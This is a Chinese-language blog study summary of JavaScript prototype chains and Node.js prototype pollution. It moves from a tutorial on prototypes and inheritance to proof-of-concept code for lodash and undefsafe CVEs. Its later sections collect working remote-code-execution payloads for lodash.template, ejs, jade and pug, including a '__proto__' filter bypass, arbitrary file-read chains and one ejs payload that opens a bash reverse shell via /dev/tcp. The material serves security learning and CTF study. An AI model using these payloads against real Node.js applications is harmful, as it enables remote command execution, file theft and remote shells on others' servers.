node.js原型链污染学习总结

基础知识

原型链

原型和原型链都是来源于对象而服务于对象的概念,所以我们从对象讲起。

在 JavaScript 中,数据类型分为两大类:

  • 基本类型(值类型):如 number、string、boolean、undefined、null、symbol、bigint
  • 引用类型:如 Object、Array、Function、Date、RegExp、Error 等

这里的“引用类型”,其实都是以 Object(对象)为基础的。也就是说,除了基本类型,其他在 JS 中的值本质上都是对象,数组是对象、函数是对象、正则是对象、对象还是对象。

1
2
3
4
5
6
7
8
let arr = [];           // 数组,其实是对象
let fn = function() {}; // 函数,其实也是对象
let obj = {}; // 对象,还是对象


console.log(arr instanceof Object) // true
console.log(fn instanceof Object) // true
console.log(obj instanceof Object) // true

JavaScript中一切引用类型都是对象,那对象是什么?

在 JavaScript 中,“对象”可以看作是一组“键值对”(属性)的无序集合。每一个属性都由“名字”(key)和“值”(value)组成:

1
2
3
4
5
6
7
8
let person = {
name: "matrix",
age: 20,
kid: {},
say: function() {
console.log("hello world");
}
};

这里,person 对象有四个属性:nameagekidsay

  • 属性名是字符串
  • 属性值可以是任意类型(包括对象、函数、数组、number等)

所以,对象就是属性的集合

现在我们知道了什么是对象,以及对象是什么,那对象是怎么创建的呢?

这就要提到构造器函数了。

构造器函数(Constructor Function):用于创建对象的普通函数,通常首字母大写。

顾名思义,构造器函数本身只是一个函数,只不过特殊一点(用来创建类的)。

1
2
3
4
5
function Person(name, age) {
this.name = name;
this.age = age;
}
console.log(new Person("matrix", 20))//Person { name: 'matrix', age: 20 }

通过 new Person("matrix", 20) 创建实例对象。

这里要注意,像我们直接写出来的Person,不论是function Person(...){...}还是new Person(...),都是指构造器函数。

我们这里引出原型对象的概念,

原型对象:每个构造函数(包括 class、普通函数)都有一个名为 .prototype 的属性,这个属性指向一个对象,这个对象就叫“原型对象”。

通过构造函数(或 class)new 出来的实例对象,都会自动把自己的 __proto__ 属性指向构造函数的 prototype(即原型对象)。

注意,实例对象的 __proto__ 属性与构造函数的 prototype 的属性都指向同一个东西,即原型对象。

(原型指的是“构造函数的 prototype 属性”,它本质上是一个对象,故称为“原型对象”。这里原型与原型对象是一个东西,只是叫法不同,不做区分)

用下面代码理解一下

1
2
3
4
5
6
7
8
9
function Person(name, age) {
this.name = name;
this.age = age;
}
let me = new Person("matrix", 20);
console.log(me) //Person { name: 'matrix', age: 20 }
console.log(me.__proto__) //{}
console.log(Person.prototype) //{}
console.log(me.__proto__.constructor) //[Function: Person]

可以发现,实例对象me的 __proto__ 属性与构造函数Person的 prototype 的属性都指向一个空对象,但是这个空对象有一个默认的 constructor 属性指回Person 函数本身。

我们知道了实例对象me的原型对象,那原型对象的原型是啥?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function Person(name, age) {
this.name = name;
this.age = age;
}

let me = new Person("matrix", 20);
console.log(me) //Person { name: 'matrix', age: 20 }

console.log(me.__proto__) //{}
console.log(me.__proto__.__proto__) //[Object: null prototype] {}
console.log(Object.prototype) //[Object: null prototype] {}
console.log(me.__proto__.__proto__.__proto__) //null

console.log(Person.prototype) //{}
console.log(Person.prototype.prototype) //undefined
console.log(Person.prototype.__proto__) //[Object: null prototype] {}
console.log(Person.prototype.__proto__.__proto__) //null

可以发现,空对象{}的原型是Object.prototype,是JavaScript 所有“普通对象”最终继承的顶级原型对象

换句话说,几乎所有通过 {}new Object()、构造函数(比如 function Animal(){})等方式创建的对象,最终其原型链都会指向 Object.prototype

注意,[Object: null prototype] {} 是指没有原型的对象,这种对象的原型是 null,但它不是普通对象的顶级原型对象,只是一个“纯净字典”对象。

在 Node.js 或部分现代 JavaScript 环境下,console.log 打印的对象如果它的原型是 null,会显示 [Object: null prototype] {}

[Object: null prototype] {} 可以指两种情况:

  1. Object.create(null) 创建的对象

    这是“纯净字典”,没有任何继承。仅仅是自己的属性,没有任何内置方法。

  2. Object.prototype 本身**

    它也是一个对象,__proto__ 也是 null。但它自带一堆方法和属性(如 toStringhasOwnProperty 等),这些是它本身定义的,不是继承来的。

Object.prototype 上定义了一些所有对象都能用的方法,例如:

  • toString()
  • hasOwnProperty()
  • isPrototypeOf()
  • valueOf()
  • propertyIsEnumerable()
  • toLocaleString()
  • …等

这些方法是所有“普通对象”都能直接访问的,因为它们继承自 Object.prototype

而在往上呢?

Object.prototype 本身是一个对象,但它的 __proto__null,即原型链的终点。

我们可以这样理解,Object.prototype 没有继承自任何对象,它的原型是 null,即原型链的终点。

我们再理一下整条链子

1
2
3
4
5
6
7
实例对象me
↓ __proto__
Person.prototype
↓ __proto__
Object.prototype
↓ __proto__
null

实例对象的原型,原型的原型……这样一层层往上,就构成了一条链子,这就是原型链。

原型链是 JavaScript 实现对象继承的一种机制。它是一种对象之间的链式结构,每个对象都通过其内部的 [[Prototype]](即 __proto__)属性指向另一个对象,这个被指向的对象叫“原型对象(prototype)”。这样层层向上,最终指向 Object.prototype,其 __proto__null,链条至此结束。

以下面代码和图片为例,讲解一下整个原型链

1
2
3
4
5
6
7
8
9
class Monster {
constructor(name, hp) {
this.name = name;
this.hp = hp;
this.g = function () {
console.log("ggg");
}
}
}

在下面链子中,Function是顶层构造器,Object是顶层原型对象。

image-20250709221427817

类与对象

下面我们再提一下JavaScript里类的概念。

早期 JavaScript 没有“类”概念:JavaScript 设计之初(1995年),只有构造函数原型对象,没有 class 关键字,也没有类的语法。对象的继承、方法的复用,都是通过构造函数 + 原型链来实现的。

早期的“类”写法其实是用函数和原型对象模拟出来的,实际底层还是对象和原型链。

ES6(2015)正式引入了 class 关键字,让语法更像面向对象语言。但本质上,JavaScript 的 class 只是语法糖,底层依然是原型继承实现。也就是说,ES6 的 class 并没有改变 JS 的对象模型,只是让“面向对象”写法更优雅易懂。

JavaScript 的 class 关键字是为了符合大众的写法特意实现的语法,故称语法糖,本质上还是构造器函数+原型对象的封装。

所以说,类由构造器和原型对象组成,通过构造器实例化得到对象,实例对象通过原型链继承原型对象上的方法和属性。

我们用类重新实现一下上面,是不是顺眼许多:

1
2
3
4
5
6
7
8
9
class Person {
constructor(name, age) {
this.name = name;
this.age = age;
}
}
const p = new Person('Tom', 18);
console.log(p.name); // Tom
console.log(p.age); // 18

类名(如 Person)本身是构造器函数,不是原型对象。原型对象是 Person.prototype。实例对象的 __proto__ 指向 Person.prototype,实现继承。

注意:

类名=构造器;

实例对象的 __proto__ =构造函数prototype=原型或原型对象。

原型链继承

所有类对象在实例化的时候将会拥有prototype中的属性和方法,这个特性被用来实现JavaScript中的继承机制,比如:

1
2
3
4
5
6
7
8
9
10
11
12
13
function Father() {
this.first_name = 'Donald'
this.last_name = 'Trump'
}

function Son() {
this.first_name = 'Melania'
}

Son.prototype = new Father()

let son = new Son()
console.log(`Name: ${son.first_name} ${son.last_name}`) // Name: Melania Trump

Son类继承了Father类的last_name属性,最后输出的是Name: Melania Trump

总结一下,对于对象son,在调用son.last_name的时候,实际上JavaScript引擎会进行如下操作:

  1. 在对象son中寻找last_name
  2. 如果找不到,则在son.__proto__中寻找last_name
  3. 如果仍然找不到,则继续在son.__proto__.__proto__中寻找last_name
  4. 依次寻找,直到找到null结束。比如,Object.prototype__proto__就是null

总的来讲,当访问一个实例对象的属性时,先在对象的本身找,找不到就去对象的原型上找,如果还是找不到,就去对象的原型(原型也是对象,也有它自己的原型)的原型上找,如此继续,直到找到为止,或者查找到最顶层的原型对象中也没有找到,就结束查找,返回undefined。

JavaScript的这个查找的机制,被运用在面向对象的继承中,被称作prototype继承链。

原型链污染

原理

说到,me.__proto__指向的是Person类的prototype。那么,如果我们修改了me.__proto__中的值,是不是修改的person类呢?

做个简单的实验:

1
2
3
4
5
6
7
8
9
10
11
12
13
// me是一个简单的JavaScript对象
let me = {name: "matrix", age: 20}
// me.age 此时为20
console.log(me.age)
console.log(me.__proto__) // [Object: null prototype] {}
// 修改me的原型(即Object)
me.__proto__.age = 18
// 由于查找顺序的原因,me.age仍然是20
console.log(me.age)
// 此时再用Object创建一个空的him对象
let him = {}
// 查看him.age,是18
console.log(him.age)

发现,我们用Object类创建了一个him对象let him = {},him对象也有一个age属性了。

那么,在一个应用中,如果攻击者控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象。这种攻击方式就是原型链污染

但是发现me.__proto__直接修改的是Object.prototype,为什么呢?

注意这里有个关键点

创建方式 me.__proto__指向 me.__proto__内容 备注
字面量 {} Object.prototype {} 实际上有很多内置方法
构造函数 new Person.prototype {} 默认空对象,但有 constructor 指向 Person

所以,除了通过 Object.create(null)Object.create(XXX) 等方式创建的对象,绝大多数“非 new 构造函数”创建的普通对象,其 __proto__ 都指向 Object.prototype

ok,那我们明白原型链污染是什么了,接下来我们讲一讲实际中怎么导致原型链污染。

如何污染

在实际应用中,哪些情况下可能存在原型链能被攻击者修改的情况呢?

其实就是哪些情况下我们可以设置__proto__的值呢?

找找能够控制数组(对象)的“键名”的操作即可:

  • 对象merge,即merge() 函数
  • 对象clone(其实内核就是将待操作的对象merge到一个空对象中),即clone() 内核
  • copy() 函数

以对象merge为例,我们想象一个简单的merge函数:

1
2
3
4
5
6
7
8
9
10
//把 source 对象(源对象)中的所有属性,递归地合并到 target 对象(目标对象)里
function merge(target, source) {
for (let key in source) {//遍历 source 对象的所有属性
if (key in source && key in target) {
merge(target[key], source[key])//如果这两个属性的值都是对象,就会继续把它们里面的内容合并
} else {
target[key] = source[key]//否则,直接把 source 的属性赋值到 target 上
}
}
}

在合并的过程中,存在赋值的操作target[key] = source[key],那么,这个key如果是__proto__,是不是就可以原型链污染呢?

我们用如下代码实验一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}

let o1 = {}
let o2 = {a: 1, "__proto__": {b: 2}}
merge(o1, o2)
console.log(o1.a) // 1
console.log(o1.b) // 2
o3 = {}
console.log(o3.b) // undefined

结果是,合并虽然成功了,但原型链没有被污染:

这是因为,我们用JavaScript创建o2的过程(let o2 = {a: 1, "__proto__": {b: 2}})中,__proto__已经代表o2的原型了,此时遍历o2的所有键名,你拿到的是[a, b]__proto__并不是一个key,自然也不会修改Object的原型。

上面那句实际上是把你 o2 的原型定义为创建的新对象 {b: 2},也就是自定义了原型

这样的话,o2本身有a: 1,然后又从他的原型 {b: 2}那里继承了b: 2,再把这两个值[a, b]赋给o1,所以只是o1多了两个属性,并不会对 Object.prototype产生任何影响。

所以新创建的o3不会有b这一属性。

那么,如何让__proto__被认为是一个键名呢?

我们将代码改成如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}

let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b) // 1 2
o3 = {}
console.log(o3.b) // 2

可见,新建的o3对象,也存在b属性,说明Object已经被污染:

这是因为,JSON解析的情况下,__proto__会被认为是一个真正的“键名”,而不代表“原型”,所以在遍历o2的时候会存在这个键。

merge操作是最常见可能控制键名的操作,也最能被原型链攻击,很多常见的库都存在这个问题。

当然,原型链污染有一些实际利用的payload以及绕过技巧。

直接 require(可能被禁用/覆盖/不可用):

1
require('child_process').exec('calc')

EXP 常用的 _load:

很多EXP用global.process.mainModule.constructor._load,就是因为它不依赖于上下文里的require变量,不容易被删掉或限制,更通用、更隐蔽,更适合在利用原型链污染时远程加载和利用Node.js内置模块。

1
global.process.mainModule.constructor._load('child_process').exec('calc')

而且有时候__proto__ 已被过滤,因此可以用constructor.prototype代替,例如:

1
2
{"__proto__": {"isAdmin": true}}
{"constructor":{"prototype":{"isAdmin":true}}}

下面我们讲一下实际可以污染的模块(已知漏洞)。

Lodash 模块

Lodash 是一个 JavaScript 库,包含简化字符串、数字、数组、函数和对象编程的工具,可以帮助程序员更有效地编写和维护 JavaScript 代码。并且是一个流行的 npm 库,仅在GitHub 上就有超过 400 万个项目使用,Lodash的普及率非常高,每月的下载量超过 8000 万次。但是这个库中有几个严重的原型污染漏洞。

lodash.defaultsDeep 方法

2019 年 7 月 2 日,Snyk 发布了一个高严重性原型污染安全漏洞(CVE-2019-10744),影响了小于 4.17.12 的所有版本的 lodash。

Lodash 库中的 defaultsDeep 函数可能会被包含 constructor 的 Payload 诱骗添加或修改Object.prototype 。最终可能导致 Web 应用程序崩溃或改变其行为,具体取决于受影响的用例。以下是 Snyk 给出的此漏洞验证 POC:

1
2
3
4
5
6
7
8
9
10
11
const mergeFn = require('lodash').defaultsDeep;
const payload = '{"constructor": {"prototype": {"whoami": "Vulnerable"}}}'

function check() {
mergeFn({}, JSON.parse(payload));
if (({})[`a0`] === true) {
console.log(`Vulnerable to Prototype Pollution via ${payload}`);
}
}

check();

lodash.merge 方法

Lodash.merge 作为 lodash 中的对象合并插件,他可以递归合并 sources 来源对象自身和继承的可枚举属性到 object 目标对象,以创建父映射对象:

1
merge(object, sources)
  • 参数:merge(object, sources)
    • object:目标对象,合并的结果会写入它(通常会改变它本身)。
    • sources:一个或多个源对象,按顺序合并到目标对象里。
  • 规则
    • 当多个对象有相同的键时,最右边(最后)的源对象的值会覆盖之前的值
    • 如果有多个对象完全一样(比如多次合并同一个对象),合并结果也只会有一份对应的键和值。

下面给出一个验证漏洞的 POC:

1
2
3
4
5
6
7
var lodash= require('lodash');
var payload = '{"__proto__":{"whoami":"Vulnerable"}}';

var a = {};
console.log("Before whoami: " + a.whoami);
lodash.merge({}, JSON.parse(payload));
console.log("After whoami: " + a.whoami);

在 lodash.merge 方法造成的原型链污染中,为了实现代码执行,我们常常会污染 sourceURL 属性,即给所有 Object 对象中都插入一个 sourceURL 属性,然后通过 lodash.template 方法中的拼接实现任意代码执行漏洞,如 [Code-Breaking 2018] Thejs 这道题。

lodash.mergeWith 方法

这个方法类似于 merge 方法。但是它还会接受一个 customizer,以决定如何进行合并。 如果 customizer 返回 undefined 将会由合并处理方法代替。

1
mergeWith(object, sources, [customizer])

该方法与 merge 方法一样存在原型链污染漏洞,下面给出一个验证漏洞的 POC:

1
2
3
4
5
6
7
var lodash= require('lodash');
var payload = '{"__proto__":{"whoami":"Vulnerable"}}';

var a = {};
console.log("Before whoami: " + a.whoami);
lodash.mergeWith({}, JSON.parse(payload));
console.log("After whoami: " + a.whoami);

lodash.set 方法

Lodash.set 方法可以用来设置值到对象对应的属性路径上,如果没有则创建这部分路径。 缺少的索引属性会创建为数组,而缺少的属性会创建为对象。

1
set(object, path, value)
  • 示例:
1
2
3
4
5
6
7
8
9
var object = { 'a': [{ 'b': { 'c': 3 } }] };

_.set(object, 'a[0].b.c', 4);
console.log(object.a[0].b.c);
// => 4

_.set(object, 'x[0].y.z', 5);
console.log(object.x[0].y.z);
// => 5

在使用 Lodash.set 方法时,如果没有对传入的参数进行过滤,则可能会造成原型链污染。下面给出一个验证漏洞的 POC:

1
2
3
4
5
6
7
8
9
var lodash= require('lodash');

var object_1 = { 'a': [{ 'b': { 'c': 3 } }] };
var object_2 = {}

console.log(object_1.whoami);
//lodash.set(object_2, 'object_2["__proto__"]["whoami"]', 'Vulnerable');
lodash.set(object_2, '__proto__.["whoami"]', 'Vulnerable');
console.log(object_1.whoami);

lodash.setWith 方法

Lodash.setWith 方法类似 set 方法。但是它还会接受一个 customizer,用来调用并决定如何设置对象路径的值。 如果 customizer 返回 undefined 将会有它的处理方法代替。

1
setWith(object, path, value, [customizer])

该方法与 set 方法一样可以进行原型链污染,下面给出一个验证漏洞的 POC:

1
2
3
4
5
6
7
8
9
var lodash= require('lodash');

var object_1 = { 'a': [{ 'b': { 'c': 3 } }] };
var object_2 = {}

console.log(object_1.whoami);
//lodash.setWith(object_2, 'object_2["__proto__"]["whoami"]', 'Vulnerable');
lodash.setWith(object_2, '__proto__.["whoami"]', 'Vulnerable');
console.log(object_1.whoami);

Undefsafe 模块

Undefsafe 是 Nodejs 的一个第三方模块,其核心为一个简单的函数,用来处理访问对象属性不存在时的报错问题。但其在低版本(< 2.0.3)中存在原型链污染漏洞(CVE-2019-10795),攻击者可利用该漏洞添加或修改 Object.prototype 属性。

我们先简单测试一下该模块的使用,

可以看到当我们正常访问object属性的时候会有正常的回显,但当我们访问不存在属性时则会得到报错:

1
2
3
4
5
6
7
8
9
10
11
var object = {
a: {
b: {
c: 1,
d: [1,2,3],
e: 'skysec'
}
}
};
console.log(object.a.b.e)// skysec
console.log(object.a.c.e)// TypeError: Cannot read properties of undefined (reading 'e')

在编程时,代码量较大时,我们可能经常会遇到类似情况,导致程序无法正常运行,发送我们最讨厌的报错。那么 undefsafe 可以帮助我们解决这个问题:

那么当我们无意间访问到对象不存在的属性时,就不会再进行报错,而是会返回 undefined 了。

1
2
3
4
5
6
7
8
9
10
var a = require("undefsafe");

console.log(a(object,'a.b.e'))
// skysec
console.log(object.a.b.e)
// skysec
console.log(a(object,'a.c.e'))
// undefined
console.log(object.a.c.e)
// TypeError: Cannot read property 'e' of undefined

同时在对对象赋值时,如果目标属性存在:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
var a = require("undefsafe");
var object = {
a: {
b: {
c: 1,
d: [1,2,3],
e: 'skysec'
}
}
};
console.log(object)
// { a: { b: { c: 1, d: [Array], e: 'skysec' } } }
a(object,'a.b.e','123')
console.log(object)
// { a: { b: { c: 1, d: [Array], e: '123' } } }

我们可以看到,其可以帮助我们修改对应属性的值。如果当属性不存在时,我们想对该属性赋值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
var a = require("undefsafe");
var object = {
a: {
b: {
c: 1,
d: [1,2,3],
e: 'skysec'
}
}
};
console.log(object)
// { a: { b: { c: 1, d: [Array], e: 'skysec' } } }
a(object,'a.f.e','123')
console.log(object)
// { a: { b: { c: 1, d: [Array], e: 'skysec' }, e: '123' } }

访问属性会在上层进行创建并赋值。

再来看一个简单例子:

1
2
3
4
var a = require("undefsafe");
var test = {}
console.log('this is '+test) // 将test对象与字符串'this is '进行拼接
// this is [object Object]

返回:[object Object],并与this is进行拼接。但是当我们使用 undefsafe 的时候,可以对原型进行污染:

1
2
3
a(test,'__proto__.toString',function(){ return 'just a evil!'})
console.log('this is '+test) // 将test对象与字符串'this is '进行拼接
// this is just a evil!

可以看到最终输出了 “this is just a evil!”。这就是因为原型链污染导致,当我们将对象与字符串拼接时,即将对象当做字符串使用时,会自动其触发 toString 方法。但由于当前对象中没有,则回溯至原型中寻找,并发现toString方法,同时进行调用,而此时原型中的toString方法已被我们污染,因此可以导致其输出被我们污染后的结果。

触发方法

注意,上面是原型链污染过程,但是污染之后我们还得触发,这样才能利用。

配合 lodash.template

Lodash.template 是 Lodash 中的一个简单的模板引擎,创建一个预编译模板方法,可以插入数据到模板中 “interpolate” 分隔符相应的位置。 详情请看:http://lodash.think2011.net/template

在 Lodash 的原型链污染中,为了实现代码执行,我们常常会污染 template 中的 sourceURL 属性,即给所有 Object 对象中都插入一个 sourceURL 属性,然后通过 lodash.template 方法中的拼接实现任意代码执行漏洞。

可参考[Code-Breaking 2018] Thejs

示例payload:

1
2
3
4
5
6
7
8
9
10
//能进行命令执行,但无法控制回显,可以直接反弹shell
{"__proto__":{"sourceURL":"x\nglobal.process.mainModule.constructor._load('child_process').exec('whoami')"}}

//如果环境不出网,想要拿到回显就要改变Function()的返回值,直接用匿名函数返回命令执行的结果
{"__proto__":{"sourceURL":"x\nreturn function(){return global.process.mainModule.constructor._load('child_process').execSync('whoami').toString()}"}}

//p牛的payload,每次污染前先复原一下Object,一个环境可以多次执行
{"__proto__": {"sourceURL": "\u000areturn e => { for (var a in {}) { delete Object.prototype[a];}return global.process.mainModule.constructor._load('child_process').execSync('whoami')}\u000a//"}}

{"__proto__":{"sourceURL":"\u000areturn e =>{return global.process.mainModule.constructor._load('child_process').execSync('id')}"}}

为什么要污染 sourceURL 呢?我们看到 lodash.template 的代码:https://github.com/lodash/lodash/blob/4.17.4-npm/template.js#L165

1
2
3
4
5
6
7
// Use a sourceURL for easier debugging.
var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + '\n' : '';
// ...
var result = attempt(function() {
return Function(importsKeys, sourceURL + 'return ' + source)
.apply(undefined, importsValues);
});

可以看到 sourceURL 属性是通过一个三目运算法赋值,其默认值为空。再往下看可以发现 sourceURL 被拼接进 Function 函数构造器的第二个参数,造成任意代码执行漏洞。所以我们通过原型链污染 sourceURL 参数构造 chile_process.exec 就可以执行任意代码了。但是要注意,Function 环境下没有 require 函数,直接使用require('child_process') 会报错,所以我们要用 global.process.mainModule.constructor._load 来代替。

配合 ejs 模板引擎

Nodejs 的 ejs 模板引擎存在一个利用原型污染进行 RCE 的一个漏洞。可参考[XNUCA 2019 Qualifier]Hardjs

示例代码:

  • app.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
var express = require('express');
var lodash = require('lodash');
var ejs = require('ejs');

var app = express();
//设置模板的位置与种类
app.set('views', __dirname);
app.set('views engine','ejs');

//对原型进行污染
var malicious_payload = '{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').exec(\'calc\');var __tmp2"}}';
lodash.merge({}, JSON.parse(malicious_payload));

//进行渲染
app.get('/', function (req, res) {
res.render ("index.ejs",{
message: 'whoami test'
});
});

//设置http
var server = app.listen(8000, function () {

var host = server.address().address
var port = server.address().port

console.log("应用实例,访问地址为 http://%s:%s", host, port)
});
  • index.ejs
1
2
3
4
5
6
7
8
9
10
11
12
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title></title>
</head>
<body>

<h1><%= message%></h1>

</body>
</html>

在 app.js 里可以得知使用的是 ejs 模板引擎

1
2
app.engine('html', require('ejs').__express); 
app.set('view engine', 'html');

ejs 的 renderFile 进入

1
2
3
4
exports.renderFile = function () {
...
return tryHandleCache(opts, data, cb);
};

跟进 tryHandleCache 函数, 发现一定会进入 handleCache 函数

跟进 handleCache 函数

1
2
3
4
5
function handleCache(options, template) {
...
func = exports.compile(template, options);
...
}

然后跟进 complie 函数, 会发现有大量的渲染拼接

这里将 opts.outputFunctionName 拼接到 prepended 中,prepended 在最后会被传递给 this.source 并被带入函数执行。所以如果能够覆盖 opts.outputFunctionName , 这样我们构造的payload就会被拼接进js语句中,并在 ejs 渲染时进行 RCE。在 ejs 中还有一个 render 方法,其最终也是进入了 compile

1
2
3
4
prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '\n';
// After injection
prepended += ' var __tmp1; return global.process.mainModule.constructor._load('child_process').execSync('dir'); __tmp2 = __append;'
// 拼接了命令语句

最后给出几个 ejs 模板引擎 RCE 常用的 POC:

1
2
3
4
5
6
7
8
9
10
11
//命令执行,execSync
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').execSync('calc');var __tmp2"}}

//命令执行,exec
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').exec('calc');var __tmp2"}}

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/6666 0>&1\"');var __tmp2"}}

//用return拿到回显
{"__proto__":{"outputFunctionName":"x\nreturn global.process.mainModule.require('child_process').execSync('whoami')\nx"}}

同样 ejs 模板还存在另一处 RCE

1
2
3
4
5
6
7
8
9
var escapeFn = opts.escapeFunction;
var ctor;
...
if (opts.client) {
src = 'escapeFn = escapeFn || ' + escapeFn.toString() + ';' + '\n' + src;
if (opts.compileDebug) {
src = 'rethrow = rethrow || ' + rethrow.toString() + ';' + '\n' + src;
}
}

伪造 opts.escapeFunction 也可以进行 RCE

1
2
{"__proto__":{"client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('dir');"}}
{"__proto__":{"client":true,"escapeFunction":"1\nreturn global.process.mainModule.constructor._load('child_process').execSync('whoami')","compileDebug":true,"debug":true}}

配合 jade 模板引擎

示例代码:

  • app.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
var express = require('express');
var lodash= require('lodash');
var jade = require('jade');

var app = express();
//设置模板的位置与种类
app.set('views', __dirname);
app.set("view engine", "jade");

//对原型进行污染
var malicious_payload = '{"__proto__":{"compileDebug":1,"self":1,"line":"console.log(global.process.mainModule.require(\'child_process\').execSync(\'calc\'))"}}';
lodash.merge({}, JSON.parse(malicious_payload));

//进行渲染
app.get('/', function (req, res) {
res.render ("index.jade",{
message: 'whoami test'
});
});

//设置http
var server = app.listen(8000, function () {

var host = server.address().address
var port = server.address().port

console.log("应用实例,访问地址为 http://%s:%s", host, port)
});
  • index.jade
1
2
h1 #{message}
p #{message}

调用链:

1
2
3
4
5
6
调用链1
__express -> renderFile -> handleTemplateCache -> compile -> parse() -> compiler.compile() -> visit()
调用链2
在visit中跟进会发现中途会进入visitTag,而在visitTag中存在一个undefined变量;继续跟进visitCode函数
任意文件读污染链:
在visit函数中,当我们能控制line或者filename时,可以利用报错信息来读出任意文件的部分内容

最终的 Payload 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//调用链1
{"__proto__":{
"self":1,
"line":"))\nreturn global.process.mainModule.require('child_process').execSync('whoami').toString()//"}}

//调用链2
{"__proto__":{"self":1,"code":{"val":"return global.process.mainModule.require('child_process').execSync('calc').toString();"}}}

{"__proto__":{"self":1,"code":{"buffer":1,"val":"1)))\nreturn global.process.mainModule.require('child_process').execSync('calc').toString();//"}}}

//任意文件读污染链
{"__proto__":{"self":1,"line":"1,\"./app.js\"))//"}}
{"__proto__":{"self":1,"filename":"./app.js"}}

//调用链1,针对 jade RCE链的污染, 普通的模板可以只需要污染 self 和 line, 但是有继承的模板还需要污染 type
{"__proto__":{"__proto__":{"self":1,"type":"Doctype","line":"))\nreturn global.process.mainModule.require('child_process').execSync('whoami').toString()//"}}}

配合 pug 模板引擎

Jade 是pug最初的名称。由于商标问题,Jade 在 2016 年更名为 Pug。两者的语法几乎完全一样,Pug 只是 Jade 的后续版本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
//任意文件读取
{
"song.__proto__.name":"Not Polluting with the boys, ASTa la vista baby,The Galactic Rhymes, The Goose went wild",
"{}.__proto__.self":true,
"{}.__proto__.filename":"./flag"
}
//AST Injection
{
"song.__proto__.name":"Not Polluting with the boys, ASTa la vista baby,The Galactic Rhymes, The Goose went wild",
"{}.__proto__.block":{
"type":"Text",
"line":"process.mainModule.require('child_process').exec('calc')"
}
}
//另一条链
{
"song.__proto__.name":"Not Polluting with the boys, ASTa la vista baby,The Galactic Rhymes, The Goose went wild",
"__proto__.code":{
"val":";process.mainModule.require('child_process').exec('calc');"
}
}
//因为jade和pug很像像,所以在jade模板引擎里面有的链也可以打得通
{
"__proto__":{
"self":"1",
"code":{
"val":";process.mainModule.require('child_process').exec('calc');"}
}
}

参考资料

javascript - 彻底搞懂JS原型与原型链 - 个人文章 - SegmentFault 思否

深入理解 JavaScript Prototype 污染攻击 | 离别歌

Modules: CommonJS modules | Node.js v24.3.0 Documentation

谭谈 Javascript 原型链与原型链污染-先知社区

从 Lodash 原型链污染到模板 RCE-安全KER - 安全资讯平台

关于nodejs的ejs和jade模板引擎的原型链污染挖掘-安全KER - 安全资讯平台

Nodejs原型链污染总结 | H4cking to the Gate

从一道题开始的pug原型污染链挖掘-安全KER - 安全资讯平台


node.js原型链污染学习总结
http://example.com/2025/07/13/33node.js原型链污染学习总结/
作者
sangnigege
发布于
2025年7月13日
许可协议